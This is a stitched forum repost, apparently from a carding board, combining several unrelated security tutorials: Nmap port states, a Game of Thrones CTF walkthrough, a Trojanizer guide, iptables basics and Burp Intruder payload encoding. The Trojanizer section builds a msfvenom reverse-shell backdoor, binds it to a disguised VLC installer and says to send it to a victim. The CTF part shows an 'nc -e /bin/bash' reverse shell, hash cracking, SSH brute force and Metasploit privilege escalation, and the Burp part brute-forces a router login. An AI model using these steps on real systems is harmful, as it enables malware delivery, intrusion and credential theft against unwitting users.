  3. Filtered: This state means that a firewall, filter, or other network obstacle is blocking the port so that Nmap cannot tell whether it is open or closed.
  4. Unfiltered: ports are classified as unfiltered when they are responsive to Nmap’s probes, but Nmap cannot determine whether they are open or closed.
  5. Open/Filtered: This indicates that the port was filtered or open but Nmap couldn’t establish the state.
  6. Closed/Filtered: This indicates that the port was filtered or closed but Nmap couldn’t establish the state.
Open Port
In this case a service or application running on a port is actively accepting TCP, UDP connections. We send TCP packets to port 80 of target machine. We find that the port is open.
nmap -p80 192.168.1.119
1
nmap -p80 192.168.1.119

[Image: 1.png?w=687&ssl=1]
We take a look at wireshark and find that 3 way-handshake occurs as given below.
  • Nmap sends SYN packet on port 80
  • Nmap received SYN, ACK packet as response from port 80 which denotes port 80 is open.
  • Nmap sends RST packet
[Image: 2.png?w=687&ssl=1]
Closed Port
In this case a service or application on a port is accessible but no application is running on it. When a port is in closed state it sends RST with ACK packet when it receives TCP SYN packet
nmap -p80 192.168.1.119
1
nmap -p80 192.168.1.119

Now we have used SYN scan to send TCP SYN packets on port 80 of target machine and found that the target is closed. That is because as soon as it receives TCP SYN packet it sends back TCP RST, ACK packet.
[Image: 4.png?w=687&ssl=1]
We will check wireshark to find more information, as expected as soon as the target machine received TCP SYN packet it replied with TCP RST and NMAP interpreted it as port is closed.
  • Nmap sends SYN packet on port 80
  • Nmap received RST, ACK packet as response from port 80 which denotes port 80 is closed.
[Image: 5.png?w=687&ssl=1]
Filtered Port
In this case Nmap is unable to determine whether a port is open because packet filtering is preventing the packets from reaching the port. When a packet is dropped Nmap retries several times just in case the probe was dropped due to network congestion rather than filtering. This slows down the scan dramatically.
Let’s use iptables to drop TCP packets on the target machine.
iptables -I INPUT -p tcp -j DROP
1
iptables -I INPUT -p tcp -j DROP

[Image: 6.PNG?w=687&ssl=1]
Now when we scan the target machine, the packets will be dropped as soon as it receives TCP packets.
nmap -p80 192.168.1.119
1
nmap -p80 192.168.1.119

From given below image you can observe that it is now showing state “filtered” for port 80.
[Image: 7.png?w=687&ssl=1]
Let’s take a look at wireshark we find that when Nmap send TCP SYN packet we get no reply from the target machine. This means that a packet filter or firewall is dropping our packets.
[Image: 8.png?w=687&ssl=1]
Unfiltered Port
The unfiltered state means that a port is accessible, but Nmap is unable to determine whether it is open or closed. Only the ACK scan, which is used to map firewall rulesets, classifies ports into this state. Scanning unfiltered ports with other scan types such as Window scan, SYN scan, or FIN scan, may help resolve whether the port is open.
We use iptables to drop any TCP packet coming to port 80 in target machine.
iptables -I INPUT -p tcp --dport=80 -j DROP
1
iptables -I INPUT -p tcp --dport=80 -j DROP

[Image: 11.PNG?w=687&ssl=1]
Now we use nmap ACK scan to scan the target machine to check if there is any firewall or not.
nmap –sA -p22,80 192.168.1.119
1
nmap –sA -p22,80 192.168.1.119

As we can see in given below image the port without firewall shows unfiltered as Nmap is unable to determine if it is open or close.
[Image: 12.png?w=687&ssl=1]
We can see in wireshark that for port 22 we get a RST packet whereas in case of port 80 the packet is dropped by the target machine.
[Image: 13.png?w=687&ssl=1]
Open|Filtered Port
In this case nmap is unable to determine if a port is open or filtered. This occurs for scan types in which open ports give no response. The lack of response could also mean that a packet filter dropped the probe or any response it elicited. So Nmap does not know for sure whether the port is open or being filtered. The UDP, IP protocol, FIN, NULL, and Xmas scans classify ports this way.
Let’s use nmap Xmas scan to scan the target machine.
nmap -sX -p80 192.168.1.119
1
nmap -sX -p80 192.168.1.119

As we can see the nmap scan shows us the port to be open | filtered.
[Image: 14.1.png?w=687&ssl=1]
We will check wireshark to analyze the packets sent by nmap and we can see we don’t get a reply even if the port is open.
[Image: 14.2.png?w=687&ssl=1]
Closed|Filtered Port
This state is used when Nmap is unable to determine whether a port is closed or filtered. It is only used for the IP ID idle scan.
We use iptables on our target machine to drop incoming TCP packets on the target machine.
iptables -I INPUT -p tcp -j DROP
1
iptables -I INPUT -p tcp -j DROP

[Image: 14.3.PNG?w=687&ssl=1]
We will do an IP ID idle scan on the target machine using 192.168.1.107 as our zombie.
nmap -p80 -sI 192.168.1.107 192.168.1.119
1
nmap -p80 -sI 192.168.1.107 192.168.1.119

As we can see in idle scan the zombie it is showing state closed|filtered for port 80.
[Image: 14.png?w=687&ssl=1]
An idle scan consists of three steps that are repeated for each port:
  1. Probe the zombie’s IP ID and record it.
  2. Forge a SYN packetfrom the zombie and send it to the desired port on the target. Depending on the port state, the target’s reaction may or may not cause the zombie’s IP ID to be incremented.
  3. Probe the zombie’s IP ID again. The target port state is then determined by comparing this new IP ID with the one recorded in step 1.
We check Wireshark and find that find the entire process.
[Image: 15.png?w=687&ssl=1]
Source:

[To see content please register here]



Hello friends! Today we are going to take another CTF challenge known as Game of Thrones. The credit for making this vm machine goes to “OscarAkaElvis” and it is another capture the flag challenge in which our goal is to get all the flags to complete the challenge. You can download this VM

[To see content please register here]

.

Let’s Breach!!!
Let us start form getting to know the IP of VM (Here, I have it at 192.168.1.133 but you will have to find your own)
netdiscover
1
netdiscover

[Image: 1.png?w=687&ssl=1]
Use nmap for port enumeration
nmap -p- -sV 192.168.1.133
1
nmap -p- -sV 192.168.1.133

[Image: 2.png?w=687&ssl=1]
We find that port 80 is running http, so we open the ip in our browser.
[Image: 3.png?w=687&ssl=1]
We take a look at the source code and find the flag syntax.
[Image: 4.1.png?w=687&ssl=1]
Use dirb to enumerate the ports.
dirb

[To see content please register here]


1
dirb

[To see content please register here]


[Image: 4.png?w=687&ssl=1]
We find the robots.txt file, we open it and find few directories.
[Image: 5.png?w=687&ssl=1]
We open the directory /secret-island/ using user-agent Three-eyed-raven
[Image: 6.png?w=687&ssl=1]
We open it and find a link to a map.
[Image: 7.png?w=687&ssl=1]
When we open the map we find the location of all the flags.
[Image: 8.png?w=687&ssl=1]
We open the directory called /direct-access-to-kings-landing/ using user-agent Three-eyed-raven.
[Image: 9.png?w=687&ssl=1]
We open the directory and take a look at the source code and find what looks like port for port knocking and to user as oberynmartell.
[Image: 10.png?w=687&ssl=1]
We then find /h/i/d/d/e/n/ directory using dirb and we open it.
[Image: 11.png?w=687&ssl=1]
We take a look at the source code and find password for oberynmartell.
[Image: 12.png?w=687&ssl=1]
We use ftp to connect we use the username and password we previously found to login. We get the first flag as soon we login.
[Image: 13.png?w=687&ssl=1]
We find two files and download through ftp and find a file that gives us the type of hash it uses.
We save the hash in a file.
[Image: 14.png?w=687&ssl=1]
Now we use john the ripper to decrypt the file and find the password to be stark
john --format=dynamic_2008 hash.txt
1
john --format=dynamic_2008 hash.txt

[Image: 15.png?w=687&ssl=1]
Now we use mcrypt to decrypt the encrypted file we found in the ftp server.
mcrypt -d the_wall.txt.nc
1
mcrypt -d the_wall.txt.nc

[Image: 16.png?w=687&ssl=1]
We now add the domain winterfell.7kingdoms.ctf to /etc/hosts and open the link found in the file.
[Image: 17.png?w=687&ssl=1]
We login using the username and password to login, and find a page with two images.
[Image: 18.png?w=687&ssl=1]
We take a look at the source code, and we find the second flag.
[Image: 19.png?w=687&ssl=1]
Along with the second flag we also find a hint that it contains something, so we download the file and use strings to take a look inside the file and find a domain name.
strings stark_shield.jpg
1
strings stark_shield.jpg

[Image: 20%2B%25281%2529.png?w=687&ssl=1]
It hints us that TXT record will contain something useful so we use nslookup to check the TXT records.  We had to make some changes to the domain name to make it valid, and we find our 3rd flag.
nslookup -q=txt Timef0rconqu3rs.7Kingdoms.ctf 192.168.1.133
1
nslookup -q=txt Timef0rconqu3rs.7Kingdoms.ctf 192.168.1.133

[Image: 21.png?w=687&ssl=1]
Now we add the new domain name to /etc/hosts and open the link found in TXT record above.
[Image: 22.png?w=687&ssl=1]
We use login the username and password we find in the TXT records.
[Image: 23.png?w=687&ssl=1]
We use the search provided by the site to check for vulnerabilities.
[Image: 24.jpg?w=687&ssl=1]
We use the file manager module and it opened a file manager that lets us access few files.
[Image: 25.png?w=687&ssl=1]
In /home/aryastark folder we find a file called flag.txt
[Image: 26.1.jpg?w=687&ssl=1]
We download the file and open it in our system and find our 4th flag.
[Image: 26.2.png?w=687&ssl=1]
Now we got a hint to access a database now we know the server is running postgresql, we connect to it using the username password available in the file we find earlier.
psql –h 192.168.1.133 –u robinarryn –d mountainandthevale
1
psql –h 192.168.1.133 –u robinarryn –d mountainandthevale

[Image: 26.png?w=687&ssl=1]
We find a table called flag, we open it and find a base64 encoded string.
[Image: 27.png?w=687&ssl=1]
We decode the base64 encode string and find our 5th flag.
[Image: 28.png?w=687&ssl=1]
Now we check the other tables to check if we miss anything. In one of the tables we find a few names
select * from arya_kill_list
1
select * from arya_kill_list

In arya_kill_list we find these names that seems useful.
[Image: 56.png?w=687&ssl=1]
Searching through the database we find a rot16 encoded string.
[Image: 57.png?w=687&ssl=1]
We now convert the rot16 encoded flag and find a name of database along with the password. It also gives us a hint to use the username we find in the table above.
[Image: 58.png?w=687&ssl=1]
After enumerating the username we find that TheRedWomanMelisandre is the username.
[Image: 59.png?w=687&ssl=1]
Now we check the the table and find a secret flag.
[Image: 60.png?w=687&ssl=1]
Now we know kingdom of reach is in imap as it was shown in the map, now we use the number we find earlier to port knock.
knock 192.168.1.133 3487 64535 12345
1
knock 192.168.1.133 3487 64535 12345

[Image: 29.png?w=687&ssl=1]
Now we do a nmap scan to check if any new port opened on the server, we find that port 143 that is running imap opened.
nmap -p- 192.168.1.133
1
nmap -p- 192.168.1.133

[Image: 30.png?w=687&ssl=1]
We use netcat to connect to it, we use the username and password we find in the hint earlier.
nc 192.168.1.133 143
1
nc 192.168.1.133 143

[Image: 31.1.png?w=687&ssl=1]
In the inbox we find our 6th flag, we also get a hint to use port 1337 and a username and password is given to login.
[Image: 31.2.png?w=687&ssl=1]
We login into the site and find that it is git site.
[Image: 31.png?w=687&ssl=1]
After enumerating through the files we find that this site is vulnerable to command injection and a hint to use mysql.
[Image: 32.png?w=687&ssl=1]
We use netcat to get reverse shell on the site we use “”
Code:
The contents of this section are hidden for your group

Register or Login
to execute our code.
nc -e /bin/bash 192.168.1.116 1234
1
nc -e /bin/bash 192.168.1.116 1234

[Image: 33.png?w=687&ssl=1]
Now we setup our listener using netcat as soon as we execute our command we get a reverse shell.
nc -lvp 1234
1
nc -lvp 1234

[Image: 34.png?w=687&ssl=1]
On the webpage earlier we find hex encoded string when we decode it we get a location of a file:/home/tyrionlannister/checkpoint.txt, so we open it and find username, password and name of the database we need to look for.
[Image: 35.png?w=687&ssl=1]
Now we use the information above to find the tables available in the database.
[Image: 36.png?w=687&ssl=1]
We find the name of the table, it is called iron_throne, we take a look inside the table.
[Image: 37.png?w=687&ssl=1]
Now we find a morse code when we decode it we find it converts to /etc/mysql/flag, when we try to access it gives that file not found, earlier we find a hint that states we don’t have enough privileges so we try to take a look at our privileges.
[Image: 38.png?w=687&ssl=1]
We find that we can import files into the database. So first we create a table named Flag.
[Image: 39.png?w=687&ssl=1]
Now we import the file into our table.
[Image: 40.png?w=687&ssl=1]
Now when we access it we find our 7th flag. We also get username and password for ssh login.
[Image: 41.png?w=687&ssl=1]
Now we use this to login through ssh.
ssh [email protected]
1
ssh [email protected]

[Image: 42.png?w=687&ssl=1]
Enumerating through the system we find two files called digger.txt and checkpoint.txt, checkpoint.txt contains a hint to login through ssh at ip 172.25.0.2 and use the file digger.txt to login through ssh.
[Image: 43.1.png?w=687&ssl=1]
We download digger.txt to our system through ssh.
scp digger.txt [email protected]:
1
scp digger.txt [email protected]:

[Image: 43.png?w=687&ssl=1]
We use local tunnelling to bind it to our port 2222.
ssh [email protected] –L 2222:172.25.0.2:22 –N
1
ssh [email protected] –L 2222:172.25.0.2:22 –N

[Image: 44.png?w=687&ssl=1]
Now we use hydra to login through ssh to using username as root and use digger.txt file to brute force.
We find that for the username root we have password “Dr4g0nGl4ss!”
[Image: 45.png?w=687&ssl=1]
We use this to login through ssh, we use localhost to connect as we have done ssh local tunnel to connect to trough ssh.
[Image: 46.png?w=687&ssl=1]
Now we enumerating through the files we find our secret flag. We also get a username and password to login through ssh.
[Image: 47.png?w=687&ssl=1]
We use metasploit to connect through ssh using this username and password.
msf > use auxiliary/scanner/ssh/ssh_login
msf auxiliary(scanner/ssh/ssh_login) > set rhosts 192.168.1.133
msf auxiliary(scanner/ssh/ssh_login) > set username branstark
msf auxiliary(scanner/ssh/ssh_login) > set  password Th3_Thr33_Ey3d_Raven
msf auxiliary(scanner/ssh/ssh_login) > run

1
2
3
4
5

msf > use auxiliary/scanner/ssh/ssh_login
msf auxiliary(scanner/ssh/ssh_login) > set rhosts 192.168.1.133
msf auxiliary(scanner/ssh/ssh_login) > set username branstark
msf auxiliary(scanner/ssh/ssh_login) > set  password Th3_Thr33_Ey3d_Raven
msf auxiliary(scanner/ssh/ssh_login) > run

[Image: 48.png?w=687&ssl=1]
After searching for some obvious possibilities to escalate privileges such as executables with the setuid bit set or exploits for the kernel, we noticed that this server is docker based. So we use the docker privilege escalation in metasploit.
msf > use exploit/linux/local/docker_daemon_privilege_escalation
msf exploit(linux/local/docker_daemon_privilege_escalation) >  set lhost 192.168.1.116
msf exploit(linux/local/docker_daemon_privilege_escalation) >  set payload linux/x86/meterpreter/reverse_tcp
msf exploit(linux/local/docker_daemon_privilege_escalation) >  set session 1
msf exploit(linux/local/docker_daemon_privilege_escalation) >  run

1
2
3
4
5

msf > use exploit/linux/local/docker_daemon_privilege_escalation
msf exploit(linux/local/docker_daemon_privilege_escalation) >  set lhost 192.168.1.116
msf exploit(linux/local/docker_daemon_privilege_escalation) >  set payload linux/x86/meterpreter/reverse_tcp
msf exploit(linux/local/docker_daemon_privilege_escalation) >  set session 1
msf exploit(linux/local/docker_daemon_privilege_escalation) >  run

[Image: 49.png?w=687&ssl=1]
Now we get our escalated session, we now check and find that we are root.
[Image: 50.png?w=687&ssl=1]
Now we enumerate through the files and find password protected zip file called final_battle and a file that tells us how to find the password. It contains a pseudo code that tells us how to create the password using secret flags we found.
[Image: 51.png?w=687&ssl=1]
Now we have obtained 2 secret flag, searching through the files we find that music file contain a secret flag. In the home page we find 2 music file we use exiftool and find that the mp3 file contains the secret flag.
exiftool  game_of_thrones.mp3
1
exiftool  game_of_thrones.mp3

[Image: 61.png?w=687&ssl=1]
Now we create a code using the pseudocode as reference in python.
[Image: 52.png?w=687&ssl=1]
We run the program and find the password.
[Image: 53.png?w=687&ssl=1]
We use zip to extract the file and use this password.
7z e final_battle
1
7z e final_battle

[Image: 54.png?w=687&ssl=1]
We find that a file called flag.txt was extracted, we open the file and find our final flag.
[Image: 55.png?w=687&ssl=1]

The Trojanizer tool uses WinRAR (SFX) to compress the two files input by the user and transforms it into an SFX executable (.exe) archive. The SFX archive when executed it will run both files (our payload and the legit application at the same time).
How to get Trojanizer?
You can clone using this Github link:
git clone

[To see content please register here]


1
git clone

[To see content please register here]


[Image: 1.png?w=687&ssl=1]
Now Before Running the Trojanizer, we will create a payload using msfvenom
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.111 lport=4466 -f exe > /root/Desktop/backdoor.exe
1
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.111 lport=4466 -f exe > /root/Desktop/backdoor.exe

[Image: 2.png?w=687&ssl=1]
Running Trojanizer
Open the terminal in the Directory where you have cloned the git file. Here you will find a Trojanizer.sh File run it using
./Trojanizer.sh
1
./Trojanizer.sh

Trojanizer has some prerequisites which it will try to install on the initial run. If it could install you could install manually the below-mentioned prerequisites.
Wine Program Files, WinRAR Software and Zenity.
[Image: 3.png?w=687&ssl=1]
[Image: 4.png?w=687&ssl=1]
After Loading the Tool, it will ask you if you want to execute the Framework
[Image: 5.png?w=687&ssl=1]
Clicking Yes Will Open a Window Titled Payload to Be Compressed, here we will select the payload that we created using msfvenom at the beginning of the practical.
[Image: 6.png?w=687&ssl=1]
After selecting the payload another window will open titled Legit Application to Trojanize
[Image: 7.png?w=687&ssl=1]
Here we will have to select any legit or original software file (.exe) to bind with our payload. I am binding VLC Player Installer File with my payload.
[Image: 8.png?w=687&ssl=1]
After clicking OK we will be asked for a New Name for the combined file. Keep it like any installer File. For Example vlc-32bit-Installer or vlc-update64 or anything of your choice.
[Image: 9.png?w=687&ssl=1]
Now we will have to select an icon for our combined file. You can choose from the list given by default or you can download any icon file (.ico) from Google.
[Image: 10.png?w=687&ssl=1]
I have downloaded the VLC Icon. As you can see in the above image I am adding the vlc-icon.ico file as an icon.
Note: Trojanizer works with WINRAR and because of that many a times this icon doesn’t bind with the combined file, instead it shows a WinRAR icon. It is a bug we soon hope will be fixed.
After selecting the icon file. You will be granted with this window informing you about the path of the newly payload combined software.
[Image: 11.png?w=687&ssl=1]
Now Let’s Start a Listener on the port we mentioned as a lhost earlier. Start with opening Metasploit Framework by typing
msf > use exploit/multi/handler
msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf exploit(multi/handler) > set lhost 192.168.1.111
msf exploit(multi/handler) > set lport 4466
msf exploit(multi/handler) > run -j

1
2
3
4
5

msf > use exploit/multi/handler
msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf exploit(multi/handler) > set lhost 192.168.1.111
msf exploit(multi/handler) > set lport 4466
msf exploit(multi/handler) > run -j

[Image: 12.png?w=687&ssl=1]
Now send the malicious software to the victim by any means you desire.
When the user will open the file, he will be greeted with the normal security warning as it is normally shown.
[Image: 13.png?w=687&ssl=1]
After clicking Run the user will have the VLC installer running and he won’t suspect anything.
[Image: 14.png?w=687&ssl=1]
But as he clicks Run we will also have his meterpreter session as shown below.
[Image: 15.png?w=687&ssl=1]
That’s how we can bind our payload file with any original software file (.exe) using Trojanizer.

Hello friends!! In this article, we are going to discuss on Iptables and its uses. Iptables is a command-line firewall, installed by default on all official Ubuntu distributions. Using Iptables, you can label a set of rules, that will be gone after by the Linux kernel to verify all incoming and outgoing network traffic.
Today we will look at some basic concept of Ipatble using various Iptables options to generate a Filter Table which will filter the incoming and outgoing traffic
Basic Iptables Options
-A: Add this rule to a rule chain.
-L:  List the current filter rules.
-m conntrack : Allow filter rules to match based on connection state. Permits the use of the –ctstate option.
–ctstate: Define the list of states for the rule to match on. Valid states are:
  • NEW – The connection has not yet been seen.
  • RELATED – The connection is new, but is related to another connection already permitted.
  • ESTABLISHED – The connection is already established.
  • INVALID – The traffic couldn’t be identified for some reason.
-m limit: Require the rule to match only a limited number of times. Allows the use of the –limit option.
Useful for limiting logging rules:
  • –limit – The maximum matching rate, given as a number followed by “/second”, “/minute”, “/hour”, or “/day” depending on how often you want the rule to match. If this option is not used and -m limit is used, the default is “3/hour”.
-p: Describe the connection protocol used.
–dport :  The destination port(s) required for this rule. A single port may be given, or a range may be given as start: end, which will match all ports from start to end, inclusive.
-j :  Jump to the specified target. By default, iptables allows four targets:
  • ACCEPT – Accept the packet and stop processing rules in this chain.
  • REJECT– Reject the packet and notify the sender that we did so, and stop processing rules in this chain.
  • DROP– Silently ignore the packet, and stop processing rules in this chain.
  • LOG– Log
-I: Inserts a rule. Takes two options, the chain to insert the rule into, and the rule number it should be.
-I:  INPUT 5 would insert the rule into the INPUT chain and make it the 5th rule in the list.
-s: –source – address [/mask] source specification
-d: –destination – address[/mask] destination specification
Iptables follow Ipchain rules which is nothing but the bunch of firewall rules to control incoming and outgoing traffic
Three Important Types Iptable chains
Input Chain:  Input chain rule is used to manage the activities of incoming traffic towards the server.
Output Chain: Output chain rule is used to manage the activities of outgoing traffic from your server.
Forward Chain: A forward chain rule is used for adding up rules related to forwarding of an IP packet. This is usually used while you have a Linux machine as router linking two networks collectively.
As described above by default install iptable is available in all Ubuntu distribution but if it is not installed in any Linux based system and you want to install it then execute given below command.
sudo apt-get install iptables
1
sudo apt-get install iptables

By default, iptable is blank which allows all incoming and outgoing connection traffic without filtering them. In order to verify inbuilt rules of iptable, we need to execute the following command which displays the list of rules if added in iptables.
sudo iptables -L -v
1
sudo iptables -L -v

here -L has used for display the chain rules of iptables and  -v for complete information.
[Image: 1.png?w=687&ssl=1]
Allow Incoming Traffic
In order to allow traffic for any particular port you can use given below command here we have accepted incoming on port 22 for SSH, 80 for HTTP and 443for HTTPS respectively
sudo iptables -A INPUT -p tcp --dport 22 -j ACCEPT
sudo iptables -A INPUT -p tcp --dport 80 -j ACCEPT
sudo iptables -A INPUT -p tcp --dport 443 -j ACCEPT

1
2
3

sudo iptables -A INPUT -p tcp --dport 22 -j ACCEPT
sudo iptables -A INPUT -p tcp --dport 80 -j ACCEPT
sudo iptables -A INPUT -p tcp --dport 443 -j ACCEPT

So it will allow tcp connection when traffic will coming on port 22, 80 and 443.
[Image: 2.png?w=687&ssl=1]
Drop/Deny Incoming Traffic
In order to deny traffic for any particular port you can use given below command here we have drop incoming on port 21 for FTP and 23 for Telnet respectively
sudo iptables -A INPUT -p tcp --dport 21 -j DROP
sudo iptables -A INPUT -p tcp --dport 23 -j DROP

1
2

sudo iptables -A INPUT -p tcp --dport 21 -j DROP
sudo iptables -A INPUT -p tcp --dport 23 -j DROP

So it will deny tcp connection when traffic will coming on port 21, 23 and give a message Time Out.
[Image: 3.png?w=687&ssl=1]
Reject Incoming Traffic
Reject and Drop action closely work same in order to obstruct the incoming traffic from establishing a connection with the server only the difference is that, here it will send a message with “ICMP message Port Unreachable” and drop the incoming packet. You can use given below command here we have to reject incoming on port 25 for SMTP.
sudo iptables -A INPUT -p tcp --dport 25 –j REJECT
1
sudo iptables -A INPUT -p tcp --dport 25 –j REJECT

So it will drop tcp connection when traffic will coming on port 25 and give a message Destination Port Unreachable.
[Image: 4.1.png?w=687&ssl=1]
Allow Incoming Traffic from Specific IP
In order to allow traffic form only a particular IP to establish a secure connection between server and client you can execute given below command
sudo iptables -A INPUT -s 192.168.1.104 -j ACCEPT
1
sudo iptables -A INPUT -s 192.168.1.104 -j ACCEPT

It will accept packet coming from network 192.168.1.104
[Image: 4.png?w=687&ssl=1]
Block Specific Network IP
In order to deny traffic form only a particular IP to establish a secure your server from attacker’s IP you can execute given below command
sudo iptables -A INPUT -s 192.168.1.102 -j DROP
1
sudo iptables -A INPUT -s 192.168.1.102 -j DROP

It will deny packet coming from network 192.168.1.102
[Image: 5.png?w=687&ssl=1]
Block Specific Network Interface
To block a specific network interface, for example, eth0, execute given below command which drops the incoming traffic coming from 10.10.10.10
sudo iptables -A INPUT -i eth0 -s 10.10.10.10 -j DROP
1
sudo iptables -A INPUT -i eth0 -s 10.10.10.10 -j DROP

Here you can change the action to allow traffic from a particular network interface using –j ACCEPT options.
[Image: 6.png?w=687&ssl=1]
Block Specific IP Range
To block a specific IP range in order to deny, the incoming traffic coming from a specific range of IP. Execute given below command which drops incoming packet coming from IP 192.168.1.100 till IP 192.168.1.200
sudo iptables -A INPUT -m iprange --src-range 192.168.1.100-192.168.1.200 -j DROP
1
sudo iptables -A INPUT -m iprange --src-range 192.168.1.100-192.168.1.200 -j DROP

Here you can change the action to allow traffic from a particular IP range using –j ACCEPT options.
[Image: 7.png?w=687&ssl=1]
Block Specific Mac Address
To block a specific Mac address in order to deny, the incoming traffic coming from a specific machine. Execute given below command which drops incoming packet coming from given Mac address or attacker machine.
sudo iptables -A INPUT -m mac --mac-source FC:AA:14:6A:9A:A2 -j DROP
1
sudo iptables -A INPUT -m mac --mac-source FC:AA:14:6A:9A:A2 -j DROP

Here you can change the action to allow traffic from a particular Mac address using –j ACCEPT options.
[Image: 8.png?w=687&ssl=1]
Block Ping Request
Network administrator always concerns with network security, therefore, they always Block Ping request either by using Drop or Reject action, here we are blocking Ping request using DROP option as given in below command.
sudo iptables -A INPUT -p icmp -i eth0 -j DROP
1
sudo iptables -A INPUT -p icmp -i eth0 -j DROP

[Image: 9.png?w=687&ssl=1]
View List of Applied Chain rules
In order to view our applied chain rules once again, we are going to execute given below command which will dump the list of Iptable rules.
sudo iptables -L
1
sudo iptables -L

From given below image you can observe 4 columns which contain records of IPtable rules.
Here these columns define the following information:
Target: Defines applied action
Prot: stand for Protocol type that can TCP, ICMP or UDP
Option: further option to define the rule, here it is blank
Source: Incoming traffic network IP Address
Destination: Host IP address which will receive incoming traffic packet.
[Image: 11.png?w=687&ssl=1]
Now if someone tries to Ping the server machine as shown in given below image, so here you can read the message “Request timed out” which means the server machine has dropped our ICMP request packet.
[Image: 12.1.png?w=687&ssl=1]
Deleting Any Rule
In order to delete any rule of your Iptable to remove it from inside your filter table, you can use option -D with input rule number.  We are going to remove our last rule ICMP drop connection which was at number 12 in the given list of the rule.
sudo iptables -D INPUT 12
1
sudo iptables -D INPUT 12

Here you can replace number 12 from any other number which rule you wish to remove according to your list of rules.
[Image: 12.png?w=687&ssl=1]
Let’s view our remaining chain rules once again using the -L option as done above. From given below image you can observe that now the list contain only 11 rules and eliminated rule ICMP drop the connection.
[Image: 13.png?w=687&ssl=1]
Flush IPtables
If you want to remove the entire set of rule in order to flush your Iptable then use option -F to flush your ipatble applied rules and execute given below command.





sudo iptables -F
1
sudo iptables -F

Now once again when we had viewed the list of the rule, this time we got the empty table as shown in the given below image.
[Image: 14.png?w=687&ssl=1]
Source:

[To see content please register here]


  [Guide] How to Payload Processing Rule in Burp suite (Part 2)
Posted by: NINZA - 05-14-2020, 08:14 AM - Forum: Carders Home - No Replies

Today we are going to discuss “Payload Encoding” option followed by payload processing of Burpsuite which is advanced functionality comes under Intruder Tab for making brute force attack.
Payload Encode
The processing rule can be used to encode the payload using various schemes such as URL, HTML, Base64, ASCII hex or constructed strings.
Let’s start!!
First, we have intercepted the request of the login page of the router by giving its default IP which is 192.168.1.1, where we have given an invalid username and password. Then click on login, the burp suite will capture the request of the login page in the intercept tab.
[Image: 1.png?w=687&ssl=1]
Thus the sent request will be captured by burp suite which you can see in the given below image. In the screenshot, I had highlighted some value in the last line. Here it tells the type of authentication provided by the router is basic and if you have read above theory of basic authentication I had described that it is encoded in base 64
[Image: 2.png?w=687&ssl=1]
Send the captured request to the Intruder by clicking on the Action Tab and follow given below step. Now open the Intruder tab then select Positions tab and you can observe the highlighted password and follow the given below step for selecting payload position.

  • Press on the Clear button given at right of the window frame.
  • Now select the encoded value of authentication for payload position and click to ADD button on the left side of the frame.
  • Choose the Attack type as
[Image: 3.1.PNG?w=687&ssl=1]
Now click on payloads option after selecting payload position. Then select the Payload type as Simple list, where we have added a dictionary by clicking on Load button. We can either load the dictionary or we can manually add input strings using the Add button in the payload options as shown in the image.
The base64 encoded value of Authentication is a combination of username and password now the scenario is to generate the same encoded value of authentication with help of user password dictionary, therefore I have made a dictionary.
[Image: 3.png?w=687&ssl=1]
Before executing the attack we have added a payload processing rule to the payload type which is Encode and we have selected “Base64 encode” scheme because we know router takes the value in Base64.
Select Start Attack in the Intruder menu as shown in the image.
[Image: 4.png?w=687&ssl=1]
Sit back and relax because this will start brute force attack and try to match string for user authentication. In the screenshot, you can the status and length of the highlighted value is different from the rest of the values. This means we can use this encoded value to bypass the user authentication which occurs from request number 10. Now check the username and password of 10th line in the dictionary.
And to confirm the username and password matched, we will give the password in the Router’s Login Page, which will successfully log us into the Router’s Configuration Page. This shows our success in the attack as shown in the image.
[Image: 5.png?w=687&ssl=1]
Decode
This processing rule can be used to decode the payload using various schemes: URL, HTML, Base64 or ASCII hex. As we know decoding is nothing but reversing the encoding. It can be used in the opposite way in which encoding is carried out.
Hash
This processing rule can be used to carry out a hashing operation on the payload. There are 7 types of hashing algorithms are available in this payload processing rule which is as follows:
  • SHA-384
  • SHA-224
  • SHA-256
  • MD5
  • MD2
  • SHA
  • SHA-512
First, we have intercepted the request of the Redirection Link designed to find redirection vulnerabilities in the LAB created by us and in the hash value of the URL we have given a wrong hash value of HTTP://www.google.com in place of the actual hash value of the

[To see content please register here]

in the URL of the redirecting page. We have simply clicked on the Redirection link as shown in the image; the burp suite will capture the request of the redirecting page in the intercept tab.

[Image: 6.png?w=687&ssl=1]
Send the captured request to the Intruder by clicking on the Action Tab and follow given below step. Now open the Intruder tab then select Positions tab and you can observe the highlighted password and follow the given below step for selecting payload position.
  • Press on the Clear button given at right of the window frame.
  • Now we will select the fields where we want to attack which is the hash value of the redirecting page and then click on the Add button.
  • Choose the Attack type as a sniper.
[Image: 7.png?w=687&ssl=1]
Then select the Payload type as Simple list, where we have added a dictionary by clicking on Load button. We can either load the dictionary or we can manually add input strings using the Add button in the payload options as shown in the image.
[Image: 8.png?w=687&ssl=1]
Before executing the attack we have added a payload processing rule to the payload type which is Hash and then we have selected MD5 which is a commonly used algorithm for converting URL of the websites into a Hash MD5 value. As you can see the input strings of the dictionary are in a simple text form, but this processing rule converts it into Hash MD5 values which can be seen in result window of the attack.
Select Start Attack in the Intruder menu as shown in the image.
[Image: 9.png?w=687&ssl=1]
Sit back and relax because now the burp suite will do its work, match the Hash MD5 of the Redirecting Page which will give you the correct MD5 value. The moment it will find the correct value, it will change the value of length as shown in the image.
[Image: 10.png?w=687&ssl=1]
The Hash MD5 value, we will give the Hash value in the URL of the redirecting page which is

[To see content please register here]

, which will successfully redirect us to

[To see content please register here]

. This shows our success in the attack as shown in the image.

[Image: 11.png?w=687&ssl=1]
Add Raw Payload
This processing rule can be used to add raw payload value before or after the current processed value. For example, it can come in handy whenever we want to submit the same payload in both raw and hashed form.
First, we have intercepted the request of the login page in the Bwapp LAB, where we have given default username and wrong password. Then click on login, the burp suite will capture the request of the login page in the intercept tab.
[Image: 12.png?w=687&ssl=1]
Send the captured request to the Intruder by right-clicking on the space and selecting Send to Intruder option or simply press Ctrl + i. Now open the Intruder tab then select Positions tab and the following will be visible. Choose the Attack type as Sniper. Press on the Clear button as shown in the image. Now we will select the fields where we want to attack which is the password and click on Add button.
[Image: 13.png?w=687&ssl=1]
Send the captured request to the Intruder by clicking on the Action Tab and follow given below step. Now open the Intruder tab then select Positions tab and you can observe the highlighted password and follow the given below step for selecting payload position.
  • Press on the Clear button given at right of the window frame.
